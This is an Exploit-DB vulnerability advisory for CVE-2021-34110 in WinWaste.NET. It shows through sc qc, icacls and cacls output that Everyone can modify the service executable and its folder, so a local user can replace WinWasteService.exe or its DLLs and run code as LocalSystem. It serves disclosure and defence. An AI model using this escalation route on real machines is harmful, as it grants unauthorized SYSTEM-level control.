WinWaste.NET 1.0.6183.16475 – Privilege Escalation due Incorrect Access Control

  • 作者: Andrea Intilangelo
    日期: 2021-07-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50083/
  • # Exploit Title: WinWaste.NET 1.0.6183.16475 - Privilege Escalation due Incorrect Access Control
    # Date: 2021-07-01
    # Author: Andrea Intilangelo
    # Vendor Homepage: http://nica.it - http://winwastenet.com
    # Version: 1.0.6183.16475
    # Tested on: Windows 10 Pro x64 - 20H2 and 21H1
    # CVE: CVE-2021-34110
    
    WinWaste.NET version 1.0.6183.16475 (from Nica s.r.l., a Zucchetti Group company) allows a local unprivileged user to replace the executable with a malicious file that will be executed with "LocalSystem" privileges.
    
    (1) Affected service's executable: "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
    
    (2) Attack Vectors: replacing the WinWasteService.exe and/or any tied .dll used by the software.
    
    (3) Details:
    
    C:\Users\user>sc qc winwasteservice
    [SC] QueryServiceConfig OPERAZIONI RIUSCITE
    
    NOME_SERVIZIO: winwasteservice
    TIPO: 10WIN32_OWN_PROCESS
    TIPO_AVVIO: 2 AUTO_START
    CONTROLLO_ERRORE: 1 NORMAL
    NOME_PERCORSO_BINARIO : "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
    GRUPPO_ORDINE_CARICAMENTO :
    TAG : 0
    NOME_VISUALIZZATO : WinwasteService
    DIPENDENZE:
    SERVICE_START_NAME : LocalSystem
    
    
    C:\Users\user>icacls "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
    C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe Everyone:(I)(M)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Users:(I)(RX)
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
    
    Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file
    
    C:\Users\user>cacls "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
    C:\Program Files (x86)\WW.NET\WW.PROG\WINWASTESERVICE.EXE Everyone:(ID)C
    NT AUTHORITY\SYSTEM:(ID)F
    BUILTIN\Administrators:(ID)F
    BUILTIN\Users:(ID)R
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(ID)R
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(ID)R
    
    C:\Users\user>icacls "C:\Program Files (x86)\WW.NET\WW.PROG"
    C:\Program Files (x86)\WW.NET\WW.PROG Everyone:(I)(OI)(CI)(M)
    NT SERVICE\TrustedInstaller:(I)(F)
    NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
    BUILTIN\Users:(I)(RX)
    BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
    CREATOR OWNER:(I)(OI)(CI)(IO)(F)
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(OI)(CI)(IO)(GR,GE)
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(OI)(CI)(IO)(GR,GE)
    
    Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file
    
    
    C:\Users\user>cacls "C:\Program Files (x86)\WW.NET\WW.PROG\"
    C:\Program Files (x86)\WW.NET\WW.PROG Everyone:(OI)(CI)(ID)C
    NT SERVICE\TrustedInstaller:(ID)F
    NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
    NT AUTHORITY\SYSTEM:(ID)F
    NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
    BUILTIN\Administrators:(ID)F
    BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
    BUILTIN\Users:(ID)R
    BUILTIN\Users:(OI)(CI)(IO)(ID)(accesso speciale:)
    GENERIC_READ
    GENERIC_EXECUTE
    
    CREATOR OWNER:(OI)(CI)(IO)(ID)F
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(ID)R
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(OI)(CI)(IO)(ID)(accesso speciale:)
     GENERIC_READ
     GENERIC_EXECUTE
    
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(ID)R
    AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(OI)(CI)(IO)(ID)(accesso speciale:)
     GENERIC_READ
     GENERIC_EXECUTE